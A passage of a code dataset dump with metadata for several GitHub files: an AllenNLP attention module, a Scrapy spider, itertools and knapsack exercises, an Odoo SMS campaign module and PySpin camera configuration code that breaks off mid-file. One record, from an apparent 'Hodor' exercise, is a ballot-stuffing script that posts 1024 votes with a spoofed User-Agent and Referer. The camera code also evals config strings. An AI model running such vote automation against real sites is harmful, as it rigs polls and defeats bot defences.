matrix correctly.\n    matrix_dim : `int`, required\n        The dimension of the matrix, `y`, described above.  This is `y.size()[-1]` - the length\n        of the vector that will go into the similarity computation.  We need this so we can build\n        the weight matrix correctly.\n    normalize : `bool`, optional (default = `True`)\n        If true, we normalize the computed similarities with a softmax, to return a probability\n        distribution for your attention.  If false, this is just computing a similarity score.\n    \"\"\"\n\n    def __init__(self, vector_dim: int, matrix_dim: int, normalize: bool = True) -> None:\n        super().__init__(normalize)\n        self._w_matrix = Parameter(torch.Tensor(vector_dim, vector_dim))\n        self._u_matrix = Parameter(torch.Tensor(matrix_dim, vector_dim))\n        self._v_vector = Parameter(torch.Tensor(vector_dim, 1))\n        self.reset_parameters()\n\n    def reset_parameters(self):\n        torch.nn.init.xavier_uniform_(self._w_matrix)\n        torch.nn.init.xavier_uniform_(self._u_matrix)\n        torch.nn.init.xavier_uniform_(self._v_vector)\n\n    def _forward_internal(self, vector: torch.Tensor, matrix: torch.Tensor) -> torch.Tensor:\n        intermediate = vector.matmul(self._w_matrix).unsqueeze(1) + matrix.matmul(self._u_matrix)\n        intermediate = torch.tanh(intermediate)\n        return intermediate.matmul(self._v_vector).squeeze(2)\n", "repo_name": "allenai/allennlp", "sub_path": "allennlp/modules/attention/additive_attention.py", "file_name": "additive_attention.py", "file_ext": "py", "file_size_in_byte": 2409, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11609, "dataset": "github-code", "pt": "78", "api": [{"api_name": "allennlp.modules.attention.attention.Attention", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.nn.parameter.Parameter", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.parameter.Parameter", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn.parameter.Parameter", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.init.xavier_uniform_", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.nn.init.xavier_uniform_", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.nn.init.xavier_uniform_", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 47, "usage_type": "attribute"}, {"api_name": "torch.tanh", "line_number": 49, "usage_type": "call"}, {"api_name": "allennlp.modules.attention.attention.Attention.register", "line_number": 7, "usage_type": "call"}, {"api_name": "allennlp.modules.attention.attention.Attention", "line_number": 7, "usage_type": "name"}]}
{"seq_id": "9866981224", "text": "\n# coding: utf-8\n\n# In[ ]:\n\n\nimport scrapy\n\nclass ShopcluesSpider(scrapy.Spider):\n    # name of spider\n    name = 'shopclues'\n\n    # list of allowed domains\n    allowed_domains = ['www.shopclues.com/mobiles-feature-phones.html']\n    #starting url\n    start_urls = ['https://www.shopclues.com/mobiles-feature-phones.html?sort_by=sort_price&sort_order=asc&facet_brand[]=Ikall&fsrc=facet_brand/']\n    # location of csv file\n    custom_settings = {\n        'FEED_URI' : 'tmp/shopclues.csv',\n        'FEED_FORMAT': 'csv'\n    }\n\n    def parse(self, response):\n        print('starts crawling...')\n        \n        # extract product information\n        titles = response.css('.column.col3 h2::text').extract()\n        prices = response.css('.column.col3 .p_price::text').extract()\n        discounts = response.css('.column.col3 .prd_discount::text').extract()\n        images = response.css('img::attr(data-img)').extract()\n        \n        for item in zip(titles, prices, discounts, images):\n            scraped_info = {\n                'titles' : item[0],\n                'prices' : item[1],\n                'discounts' : item[2],\n                'image_urls' : [item[3]],\n            }\n\n            yield scraped_info", "repo_name": "muhamuttaqien/LQ-Repository", "sub_path": "lab/scraping/myfirstscraper/myscraper/spiders/shopclues.py", "file_name": "shopclues.py", "file_ext": "py", "file_size_in_byte": 1211, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "scrapy.Spider", "line_number": 9, "usage_type": "attribute"}]}
{"seq_id": "74499610810", "text": "from itertools import permutations\n\nMAX_LIMIT = 100\n\n\ndef max_weight_for_hike():\n    hike_things = {\n        \"зажигалка\": 5,\n        \"одежда\": 50,\n        \"нож\": 25,\n        \"палатка\": 37,\n        \"еда\": 10,\n        \"вода\": 18,\n        \"удочка\": 35,\n        \"мангал\": 24,\n        \"стулья\": 29,\n        \"приборы\": 13,\n    }\n\n    all_choise = permutations(hike_things.items())\n    result_dict = {}\n    for temp_set in all_choise:\n        temp_available_weight = MAX_LIMIT\n        possible_variant_set = set()\n        for thing, weight in temp_set:\n            if temp_available_weight >= weight:\n                temp_available_weight -= weight\n                possible_variant_set.add(thing)\n        result_dict[tuple(possible_variant_set)] = MAX_LIMIT-temp_available_weight\n\n    print(\"Все доступные варианты: \")\n    for thing, weight in result_dict.items():\n        print(f'Вещи = {thing} занимают {weight} места в рюкзаке')", "repo_name": "Matthew160503/GB_Python_Advanced", "sub_path": "Homework3/Task3.py", "file_name": "Task3.py", "file_ext": "py", "file_size_in_byte": 1026, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "itertools.permutations", "line_number": 20, "usage_type": "call"}]}
{"seq_id": "31877357398", "text": "#!/usr/bin/python\nimport requests\nurl = 'http://158.69.76.135/level2.php'\nx = requests.get(url)\ncookie = x.cookies.get('HoldTheDoor')\nprint(cookie)\nurl = 'http://158.69.76.135/level2.php'\nheaders = {\n  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',\n  'Referer': 'http://158.69.76.135/level2.php'\n}\ndata = {\n  'id': '1033',\n  'holdthedoor': 'Valider',\n  'key': cookie\n}\n\ncookies = {\n  'HoldTheDoor' : cookie,\n}\ni = 0\nwhile i < 1024:\n    requests.post(url, headers=headers, data=data, cookies=cookies)\n    i += 1\n", "repo_name": "anaruzz/hodor", "sub_path": "level_2/level_2.py", "file_name": "level_2.py", "file_ext": "py", "file_size_in_byte": 597, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 4, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 23, "usage_type": "call"}]}
{"seq_id": "14046028038", "text": "import itertools\n\nimport itertools as it\nimport operator\n\n'''\nmylist = ['a', 'b', 'c', 'd']\n\nfor combination in it.combinations(mylist, 3):\n    print(combination)\n\nprint(\"*\"*30)\n\nfor combination in it.permutations(mylist, 3):\n    print(combination)\n\nprint(\"*\"*30)\n\nfor combination in it.combinations_with_replacement(mylist, 3):\n    print(combination)\n'''\n\nmoney = [20, 20, 20, 20, 10, 10, 10, 5, 5, 1, 1, 1, 1, 1]\n\nresults = []\n\nfor i in range(1, 101):\n    for combination in it.combinations(money, i):\n        if sum(combination) == 100:\n            results.append(combination)\n\nresults = set(results)\n\nfor results in results:\n    print(results)\nprint(\"*\"*30)\nprint(\"*\"*30)\n\nmoney = [50, 20, 10]\n\nfor i in range(1, 101):\n    for combination in it.combinations_with_replacement(money, i):\n        if sum(combination) == 100:\n            print(combination)\nprint(\"*\"*30)\nprint(\"*\"*30)\ndata = [1, 2, 3, 4, 5]\nresult = it.accumulate(data, operator.mul)\nfor each in result:\n    print(each)\n\nprint(\"*\"*30)\nprint(\"*\"*30)\n\n", "repo_name": "Mithiriii/projects", "sub_path": "work/udemy/course_1/section_6/itertools/itertools.py", "file_name": "itertools.py", "file_ext": "py", "file_size_in_byte": 1017, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "itertools.combinations", "line_number": 28, "usage_type": "call"}, {"api_name": "itertools.combinations_with_replacement", "line_number": 42, "usage_type": "call"}, {"api_name": "itertools.accumulate", "line_number": 48, "usage_type": "call"}, {"api_name": "operator.mul", "line_number": 48, "usage_type": "attribute"}]}
{"seq_id": "7586407295", "text": "import threading\nimport time\nimport psycopg2\nimport re\n\n\nfrom datetime import datetime , timedelta\n\n\nfrom openerp import models, fields, api ,  SUPERUSER_ID, netsvc\nfrom openerp import tools\n\nfrom urllib import urlencode, quote as quote\n\nimport logging\n_logger = logging.getLogger(__name__) \n\n\n\n#from https://github.com/SythilBlade/sythil-odoo-test/blob/8.0/entity_sms/esms_templates.py\n\ntry:\n    # We use a jinja2 sandboxed environment to render mako templates.\n    # Note that the rendering does not cover all the mako syntax, in particular\n    # arbitrary Python statements are not accepted, and not all expressions are\n    # allowed: only \"public\" attributes (not starting with '_') of objects may\n    # be accessed.\n    # This is done on purpose: it prevents incidental or malicious execution of\n    # Python code that may break the security of the server.\n    from jinja2.sandbox import SandboxedEnvironment\n    mako_template_env = SandboxedEnvironment(\n        block_start_string=\"<%\",\n        block_end_string=\"%>\",\n        variable_start_string=\"${\",\n        variable_end_string=\"}\",\n        comment_start_string=\"<%doc>\",\n        comment_end_string=\"</%doc>\",\n        line_statement_prefix=\"%\",\n        line_comment_prefix=\"##\",\n        trim_blocks=True,               # do not output newline after blocks\n        autoescape=True,                # XML/HTML automatic escaping\n    )\n    mako_template_env.globals.update({\n        'str': str,\n        'quote': quote,\n        'urlencode': urlencode,\n        'datetime': datetime,\n        'len': len,\n        'abs': abs,\n        'min': min,\n        'max': max,\n        'sum': sum,\n        'filter': filter,\n        'reduce': reduce,\n        'map': map,\n        'round': round,\n\n        # dateutil.relativedelta is an old-style class and cannot be directly\n        # instanciated wihtin a jinja2 expression, so a lambda \"proxy\" is\n        # is needed, apparently.\n        'relativedelta': lambda *a, **kw : relativedelta.relativedelta(*a, **kw),\n    })\nexcept ImportError:\n    _logger.warning(\"jinja2 not available, templating features will not work!\")\n\n\n\n\n\nclass gammu_campaign(models.Model):\n    _name = 'gammu.campaign'\n\n    _description = \"gammu campaign\"\n\n    name=fields.Char(string=\"Name\")\n    template_text=fields.Text(string=\"template\")\n    state=fields.Selection(selection=[('draft', 'Borrador'),('sending', 'Enviando'),('send', 'Enviado')],default='draft')\n    sms=fields.One2many(comodel_name='gammu.campaign.sms', inverse_name='gammu_campaign_id')\n    opportunity_user_id =  fields.Many2one(comodel_name='res.users',string=\"Crear una oportunidad a\")\n\n\n\n\n    @api.one\n    def send(self):\n        self.state='sending'\n        item_minute = 10\n        item_count = 0\n\n        for sms in self.sms :\n            if sms.name:\n                item_count = item_count + 1\n                \n                delay = datetime.now() + timedelta(minutes=int(item_count/item_minute)) \n\n                outbox={'name':sms.name,\n                        'text':sms.text,\n                        'sending_datetime':delay,'creatorid':'odoo','sending_time_out':delay,\n                        'send_before':'23:00:00','send_after':'00:00:00','multipart':False}\n                outbox_id=self.env['gammu.outbox'].sudo().create(outbox)\n\n                if self.opportunity_user_id:\n                    response=self.env['gammu.expected.responses'].sudo().create({\n                        'name':sms.name,\n                        'timeout':datetime.now(),\n                        'model':'gammu.campaign',\n                        'function':'response',\n                        'args':'([%d,\"%s\",%d])' % (self.opportunity_user_id.id,sms.name,sms.partner_id.id) })\n\n        self.state='send'\n\n    @api.one\n    def response(self,user_id,phone,partner_id):\n        lead=self.env['crm.lead'].create({\n            'name':'Respuesta la la campaña',\n            'user_id':user_id,\n            'partner_id':partner_id,\n            'phone':phone,\n            'type':'opportunity',\n            'description' : self[0],\n            })\n\n\n            #return True\n        return False\n\n\n    @api.one\n    def presupuestos(self):\n\n        self.env.cr.execute(\"\"\"select distinct partner_id\n                       from sale_order where date_order > '2016-09-01'  and partner_id not in (\n                            select distinct partner_id from account_invoice  where date_due > '2016-09-01' \n        )\"\"\")\n\n        partner_list = self.env.cr.fetchall()\n        _logger.info(\"partner_list %r\" , partner_list)\n        if partner_list : \n            for partner_id in partner_list :\n                    sms = self.env['gammu.campaign.sms'].create({'gammu_campaign_id': self.id,'partner_id':partner_id[0]})\n                    sms._partner_get_phone()\n\n        \n\nclass gammu_campaign_sms(models.Model):\n    _name = 'gammu.campaign.sms'\n\n    _description = \"gammu campaign sms\"\n    \n    @api.depends('gammu_campaign_id')\n    @api.one\n    def _compute_text (self):\n        self.text = self.render_template(self.gammu_campaign_id.template_text   , 'res.partner', self.partner_id.id)\n\n\n    gammu_campaign_id =  fields.Many2one(comodel_name='gammu.campaign')\n    name=fields.Char(string=\"To\")    \n    partner_id=fields.Many2one( comodel_name='res.partner',string=\"partner\" )    \n    text=fields.Text(string=\"msg\" , compute=_compute_text)\n\n\n    def render_template(self, template, model, res_id):\n        \"\"\"Render the given template text, replace mako expressions ``${expr}``\n           with the result of evalua_compute_textting these expressions with\n           an evaluation context containing:\n                * ``user``: browse_record of the current user\n                * ``object``: browse_record of the document record this mail is\n                              related to\n                * ``context``: the context passed to the mail composition wizard\n           :param str template: the template text to render\n           :param str model: model name of the document record this mail is related to.\n           :param int res_id: id of document records those mails are related to.\n        \"\"\"\n        \n        # try to load the template\n        #try:\n        template = mako_template_env.from_string(tools.ustr(template))\n        #except Exception:\n        #    _logger.error(\"Failed to load template %r\", template)\n        #    return False\n\n        # prepare template variables\n        user = self.env.user\n        record = self.env[model].browse(res_id)\n        \n        variables = {\n            'user': user\n        }\n        \n        \n        \n        variables['object'] = record\n        try:\n            render_result = template.render(variables)\n        except Exception:\n            _logger.error(\"Failed to render template %r using values %r\" % (template, variables))\n            render_result = u\"\"\n        if render_result == u\"False\":\n            render_result = u\"\"\n\n        return render_result\n\n\n            \n\n\n\n    @api.onchange('partner_id')\n    def _partner_get_phone(self):\n\n        if self.partner_id.mobile:\n            phone=self.clean_mobile(self.partner_id.mobile)\n            if phone : \n                self.name =  phone\n                return \n\n        if self.partner_id.phone :\n            phone=self.clean_phone(self.partner_id.phone)\n            if phone : \n                self.name = phone \n                return \n\n        self.name = self.partner_id.mobile\n\n    def clean_mobile(self,phone):\n            \n        mob=re.compile('(\\+)*(54)*(9)*(0)*(299|291|11|294)*(15)*([4|5|6])([0-9][0-9][0-9][0-9][0-9][0-9])')\n        mobiles=mob.findall(re.sub(\"\\D\", \"\",phone))\n\n        for mobile in mobiles:\n            if  mobile[6] != '' and len(mobile[7])==6:\n                caracteristica = \"299\" if  mobile[4] == '' else  mobile[4]\n\n                return '+549' + str(caracteristica)  + str(mobile[6])+ str(mobile[7])\n        return False\n\n    def clean_phone(self,phone):\n        \n        mob=re.compile('(\\+)*(54)*(9)*(0)*(299|291|11|294)*(15)*([4|5|6])([0-9][0-9][0-9][0-9][0-9][0-9])')\n        mobiles=mob.findall(re.sub(\"\\D\", \"\",phone))\n\n        for mobile in mobiles:\n            if mobile[5] != '' and mobile[6] != '' and len(mobile[7])==6:\n                caracteristica = \"299\" if  mobile[4] == '' else  mobile[4]\n\n                return '+549' + str(caracteristica)  + str(mobile[6])+ str(mobile[7])\n        return False\n\n\n\n            \nclass campain_from_dni(models.TransientModel):\n    _name = 'campain.from.dni'\n    phone_list=fields.Text(string=\"phones\",required=True)\n    gammu_campaign_id =  fields.Many2one(comodel_name='gammu.campaign',required=True)\n\n    @api.multi\n    def by_phone(self):\n        phones=[]\n        phones= filter(None,[x.strip() for x in self.phone_list.split('\\n')])\n        if phones : \n\n            partner_ids = self.env['res.partner'].search(['|',('phone' ,'in',phones),('mobile' ,'in',phones)])\n            for partner_id in partner_ids:\n                sms = self.env['gammu.campaign.sms'].create({'gammu_campaign_id': self.gammu_campaign_id.id,'partner_id':partner_id.id})\n                sms._partner_get_phone()\n        \n    @api.multi\n    def by_dni(self):\n        phones=[]\n\n        phones= filter(None,[re.sub(\"[^0-9]\", \"\",x) for x in self.phone_list.split('\\n')])\n        if phones : \n            partner_ids = self.env['res.partner'].search([('document_number' ,'in',phones)])\n            for partner_id in partner_ids:\n                sms = self.env['gammu.campaign.sms'].create({'gammu_campaign_id': self.gammu_campaign_id.id,'partner_id':partner_id.id})\n                sms._partner_get_phone()\n        \n\n\n", "repo_name": "blancoamor/gammu", "sub_path": "gammu_campaign.py", "file_name": "gammu_campaign.py", "file_ext": "py", "file_size_in_byte": 9625, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "jinja2.sandbox.SandboxedEnvironment", "line_number": 31, "usage_type": "call"}, {"api_name": "urllib.quote", "line_number": 45, "usage_type": "name"}, {"api_name": "urllib.urlencode", "line_number": 46, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "name"}, {"api_name": "openerp.models.Model", "line_number": 70, "usage_type": "attribute"}, {"api_name": "openerp.models", "line_number": 70, "usage_type": "name"}, {"api_name": "openerp.fields.Char", "line_number": 75, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 75, "usage_type": "name"}, {"api_name": "openerp.fields.Text", "line_number": 76, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 76, "usage_type": "name"}, {"api_name": "openerp.fields.Selection", "line_number": 77, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 77, "usage_type": "name"}, {"api_name": "openerp.fields.One2many", "line_number": 78, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 78, "usage_type": "name"}, {"api_name": "openerp.fields.Many2one", "line_number": 79, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 79, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 94, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 94, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 94, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 105, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 105, "usage_type": "name"}, {"api_name": "openerp.api.one", "line_number": 84, "usage_type": "attribute"}, {"api_name": "openerp.api", "line_number": 84, "usage_type": "name"}, {"api_name": "openerp.api.one", "line_number": 112, "usage_type": "attribute"}, {"api_name": "openerp.api", "line_number": 112, "usage_type": "name"}, {"api_name": "openerp.api.one", "line_number": 128, "usage_type": "attribute"}, {"api_name": "openerp.api", "line_number": 128, "usage_type": "name"}, {"api_name": "openerp.models.Model", "line_number": 145, "usage_type": "attribute"}, {"api_name": "openerp.models", "line_number": 145, "usage_type": "name"}, {"api_name": "openerp.api.depends", "line_number": 150, "usage_type": "call"}, {"api_name": "openerp.api", "line_number": 150, "usage_type": "name"}, {"api_name": "openerp.api.one", "line_number": 151, "usage_type": "attribute"}, {"api_name": "openerp.api", "line_number": 151, "usage_type": "name"}, {"api_name": "openerp.fields.Many2one", "line_number": 156, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 156, "usage_type": "name"}, {"api_name": "openerp.fields.Char", "line_number": 157, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 157, "usage_type": "name"}, {"api_name": "openerp.fields.Many2one", "line_number": 158, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 158, "usage_type": "name"}, {"api_name": "openerp.fields.Text", "line_number": 159, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 159, "usage_type": "name"}, {"api_name": "openerp.tools.ustr", "line_number": 177, "usage_type": "call"}, {"api_name": "openerp.tools", "line_number": 177, "usage_type": "name"}, {"api_name": "openerp.api.onchange", "line_number": 208, "usage_type": "call"}, {"api_name": "openerp.api", "line_number": 208, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 227, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 228, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 239, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 240, "usage_type": "call"}, {"api_name": "openerp.models.TransientModel", "line_number": 252, "usage_type": "attribute"}, {"api_name": "openerp.models", "line_number": 252, "usage_type": "name"}, {"api_name": "openerp.fields.Text", "line_number": 254, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 254, "usage_type": "name"}, {"api_name": "openerp.fields.Many2one", "line_number": 255, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 255, "usage_type": "name"}, {"api_name": "openerp.api.multi", "line_number": 257, "usage_type": "attribute"}, {"api_name": "openerp.api", "line_number": 257, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 272, "usage_type": "call"}, {"api_name": "openerp.api.multi", "line_number": 268, "usage_type": "attribute"}, {"api_name": "openerp.api", "line_number": 268, "usage_type": "name"}]}
{"seq_id": "16073265774", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: Evangelos Tzardis\r\n\"\"\"\r\n\r\nimport PySpin\r\nimport scipy.misc as misc\r\nimport numpy as np\r\nimport rw_config as cfg\r\nfrom multiprocessing import Queue\r\n\r\n#from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\r\n#from matplotlib.figure import Figure\r\n\r\ndef PIL2array(imgptr):\r\n    bpp = imgptr.GetBitsPerPixel()\r\n    if bpp == 8:\r\n        bppnumpy = np.uint8\r\n        \r\n    elif bpp == 16:\r\n        bppnumpy = np.uint16\r\n        \r\n    return np.array(imgptr.GetData(), bppnumpy).reshape(imgptr.GetHeight(), imgptr.GetWidth())\r\n\r\ndef print_device_info(nodemap):\r\n    \"\"\"\r\n    This function prints the device information of the camera from the transport\r\n    layer\r\n\r\n    :param nodemap: Transport layer device nodemap.\r\n    :type nodemap: INodeMap\r\n    :returns: True if successful, False otherwise.\r\n    :rtype: bool\r\n    \"\"\"\r\n\r\n    print('*** DEVICE INFORMATION ***\\n')\r\n\r\n    try:\r\n        result = True\r\n        node_device_information = PySpin.CCategoryPtr(nodemap.GetNode('DeviceInformation'))\r\n\r\n        if PySpin.IsAvailable(node_device_information) and PySpin.IsReadable(node_device_information):\r\n            features = node_device_information.GetFeatures()\r\n            for feature in features:\r\n                node_feature = PySpin.CValuePtr(feature)\r\n                print('%s: %s' % (node_feature.GetName(),\r\n                                  node_feature.ToString() if PySpin.IsReadable(node_feature) else 'Node not readable'))\r\n\r\n        else:\r\n            print('Device control information not available.')\r\n\r\n    except PySpin.SpinnakerException as ex:\r\n        print('Error: %s' % ex)\r\n        return False\r\n\r\n    return result\r\n\r\ndef reset_exposure(cam):\r\n    \"\"\"\r\n    This function returns the camera to a normal state by re-enabling automatic exposure.\r\n\r\n    :param cam: Camera to reset exposure on.\r\n    :type cam: CameraPtr\r\n    :return: True if successful, False otherwise.\r\n    :rtype: bool\r\n    \"\"\"\r\n    try:\r\n        result = True\r\n\r\n        if cam.ExposureAuto.GetAccessMode() != PySpin.RW:\r\n            print('Unable to enable automatic exposure (node retrieval). Non-fatal error...')\r\n            return False\r\n\r\n        cam.ExposureAuto.SetValue(PySpin.ExposureAuto_Continuous)\r\n\r\n        print('Automatic exposure enabled...')\r\n\r\n    except PySpin.SpinnakerException as ex:\r\n        print('Error: %s' % ex)\r\n        result = False\r\n\r\n    return result\r\n\r\ndef reset_trigger(cam):\r\n    \"\"\"\r\n    This function returns the camera to a normal state by turning off trigger mode.\r\n\r\n    :param cam: Camera to acquire images from.\r\n    :type cam: CameraPtr\r\n    :returns: True if successful, False otherwise.\r\n    :rtype: bool\r\n    \"\"\"\r\n    try:\r\n        result = True\r\n        # Ensure trigger mode off\r\n        # The trigger must be disabled in order to configure whether the source\r\n        # is software or hardware.\r\n        if cam.TriggerMode.GetAccessMode() != PySpin.RW:\r\n            print('Unable to disable trigger mode (node retrieval). Aborting...')\r\n            return False\r\n\r\n        cam.TriggerMode.SetValue(PySpin.TriggerMode_Off)\r\n\r\n        print('Trigger mode disabled...')\r\n\r\n    except PySpin.SpinnakerException as ex:\r\n        print('Error: %s' % ex)\r\n        result = False\r\n\r\n    return result\r\n\r\ndef reset_offsets(cam):\r\n    \r\n    if cam.OffsetX.GetAccessMode() == PySpin.RW:\r\n        cam.OffsetX.SetValue(0)\r\n    \r\n    if cam.OffsetY.GetAccessMode() == PySpin.RW:\r\n        cam.OffsetY.SetValue(0)\r\n        \r\ndef correct_type(string):\r\n    # convert to original data types.\r\n    # eval returns its string argument with its correct data type,\r\n    # except for the case in which the arguement is an incomprehensible string\r\n    # so a NameError appears\r\n    try:\r\n        t = eval(string)\r\n    except:\r\n        t = string\r\n    \r\n    return t\r\n\r\ndef configure_custom_image_settings(cam, section):\r\n    \"\"\"\r\n    This function accesses some nodes of settings via QuickSpin.\r\n    :param cam: Camera to configure settings for.\r\n    :type cam: CameraPtr\r\n    :param section: section of 'config.ini' file to configure camera from\r\n    :type section: SectionProxy\r\n    :return: True if successful, False otherwise.\r\n    :rtype: bool\r\n    \"\"\"\r\n    try:\r\n        result = True\r\n        \r\n        for key in section:\r\n            \r\n            if key == 'acquisition mode':\r\n                config_acquisitionmode = correct_type( section[key] )\r\n            elif key == 'frame count':\r\n                config_framecount = correct_type( section[key] )\r\n            elif key == 'frame rate enable':\r\n                config_framerateenable = correct_type( section[key] )\r\n            elif key == 'frame rate':\r\n                config_framerate = correct_type( section[key] )\r\n            elif key == 'pixel format':\r\n                config_pixelformat = correct_type( section[key] )\r\n            elif key == 'width':\r\n                config_width = correct_type( section[key] )\r\n            elif key == 'height':\r\n                config_height = correct_type( section[key] )\r\n            elif key == 'offset x':\r\n                config_offsetx = correct_type( section[key] )\r\n            elif key == 'offset y':\r\n                config_offsety = correct_type( section[key] )\r\n            elif key == 'exposure auto':\r\n                config_exposureauto = correct_type( section[key] )\r\n            elif key == 'exposure time':\r\n                config_exposuretime = correct_type( section[key] )\r\n            elif key == 'gain':\r\n                config_gain = correct_type( section[key] )\r\n            elif key == 'gamma enable':\r\n                config_gammaenable = correct_type( section[key] )\r\n            elif key == 'gamma':\r\n                config_gamma = correct_type( section[key] )\r\n            elif key == 'trigger mode':\r\n                config_triggermode = correct_type( section[key] )\r\n            elif key == 'trigger source':\r\n                config_triggersource = correct_type( section[key] )\r\n        \r\n\r\n        \r\n        ###### CONFIGURE ACQUISITION MODE ######\r\n        if cam.AcquisitionMode.GetAccessMode() == PySpin.RW:\r\n            \r\n            if config_acquisitionmode == 'single frame':\r\n                cam.AcquisitionMode.SetValue(PySpin.AcquisitionMode_SingleFrame)\r\n            elif config_acquisitionmode == 'continuous':\r\n                cam.AcquisitionMode.SetValue(PySpin.AcquisitionMode_Continuous)\r\n            elif config_acquisitionmode == 'multiframe':\r\n                cam.AcquisitionMode.SetValue(PySpin.AcquisitionMode_MultiFrame)\r\n                \r\n            print('Acquisition mode set to %s...' % cam.AcquisitionMode.GetCurrentEntry().GetSymbolic()) \r\n                \r\n            if config_acquisitionmode == 'multiframe':\r\n                ###### CONFIGURE ACQUISITION FRAME COUNT ######\r\n                if cam.AcquisitionFrameCount.GetAccessMode() == PySpin.RW:\r\n                    cam.AcquisitionFrameCount.SetValue(config_framecount)\r\n                else:\r\n                    print('Acquisition frame count not available...')\r\n                    result = False\r\n            \r\n            if config_acquisitionmode == 'continuous' or config_acquisitionmode == 'multiframe':\r\n                    \r\n                ###### CONFIGURE ACQUISITION FRAME RATE ######\r\n                if cam.AcquisitionFrameRateEnable.GetAccessMode() == PySpin.RW:\r\n                    cam.AcquisitionFrameRateEnable.SetValue(config_framerateenable)\r\n                \r\n                if cam.AcquisitionFrameRate.GetAccessMode() == PySpin.RW:\r\n                    cam.AcquisitionFrameRate.SetValue(config_framerate)\r\n                else:\r\n                    if cam.AcquisitionFrameRateEnable.GetValue() == 'on':\r\n                        print('Acquisition frame rate not available...')\r\n                        result = False\r\n        \r\n        else:\r\n            print('Acquisition mode not available...')\r\n            result = False\r\n        \r\n        ###### CONFIGURE PIXEL FORMAT ######\r\n        if cam.PixelFormat.GetAccessMode() == PySpin.RW:\r\n            \r\n            if config_pixelformat == 'mono8':\r\n                cam.PixelFormat.SetValue(PySpin.PixelFormat_Mono8)\r\n            elif config_pixelformat == 'mono16':\r\n                cam.PixelFormat.SetValue(PySpin.PixelFormat_Mono16)\r\n                \r\n            print('Pixel format set to %s...' % cam.PixelFormat.GetCurrentEntry().GetSymbolic())\r\n    \r\n        else:\r\n            print('Pixel format not available...')\r\n            result = False\r\n        \r\n        # reset OffsetX and OffsetY first\r\n        reset_offsets(cam)\r\n        \r\n        ###### CONFIGURE WIDTH ######    \r\n        if cam.Width.GetAccessMode() == PySpin.RW and cam.Width.GetInc() != 0 and cam.Width.GetMax != 0:\r\n            cam.Width.SetValue(config_width)\r\n            print('Width set to %i...' % cam.Width.GetValue())\r\n\r\n        else:\r\n            print('Width not available...')\r\n            result = False\r\n        \r\n        ###### CONFIGURE HEIGHT ######\r\n        if cam.Height.GetAccessMode() == PySpin.RW and cam.Height.GetInc() != 0 and cam.Height.GetMax != 0:\r\n            cam.Height.SetValue(config_height)\r\n            print('Height set to %i...' % cam.Height.GetValue())\r\n\r\n        else:\r\n            print('Height not available...')\r\n            result = False      \r\n        \r\n        ######## CONFIGURE OFFSET X ####\r\n        if cam.OffsetX.GetAccessMode() == PySpin.RW:\r\n            \r\n            if config_offsetx >= cam.OffsetX.GetMin() & config_offsetx <= cam.OffsetX.GetMax():\r\n                cam.OffsetX.SetValue(config_offsetx)\r\n                print('Offset X set to %d...' % cam.OffsetX.GetValue())\r\n                \r\n            else:\r\n                print('Offset X value not possible...')\r\n\r\n        else:\r\n            print('Offset X not available...')\r\n            result = False\r\n        \r\n        ###### CONFIGURE OFFSET Y ######\r\n        if cam.OffsetY.GetAccessMode() == PySpin.RW:\r\n            \r\n            if config_offsety >= cam.OffsetY.GetMin() & config_offsety <= cam.OffsetY.GetMax():\r\n                cam.OffsetY.SetValue(config_offsety)\r\n                print('Offset Y set to %d...' % cam.OffsetY.GetValue())\r\n                \r\n            else:\r\n                print('Offset Y value not 